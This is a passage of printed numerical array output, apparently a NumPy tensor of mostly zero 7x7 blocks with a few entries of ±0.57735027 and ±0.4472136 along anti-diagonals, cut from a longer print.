[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0.57735027, 0. , 0. ],
[ 0. , 0. , 0. , -0.57735027, 0. , 0. , 0. ],
[ 0. , 0. , 0.57735027, 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0.4472136 , 0. ],
[ 0. , 0. , 0. , 0. , -0.4472136 , 0. , 0. ],
[ 0. , 0. , 0. , 0.4472136 , 0. , 0. , 0. ],
[ 0. , 0. , -0.4472136 , 0. , 0. , 0. , 0. ],
[ 0. , 0.4472136 , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]],
[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]]]],
[[[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ]],
[[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
[ 0. , 0. , 0. , 0. , 0. , 0. , 0. ],
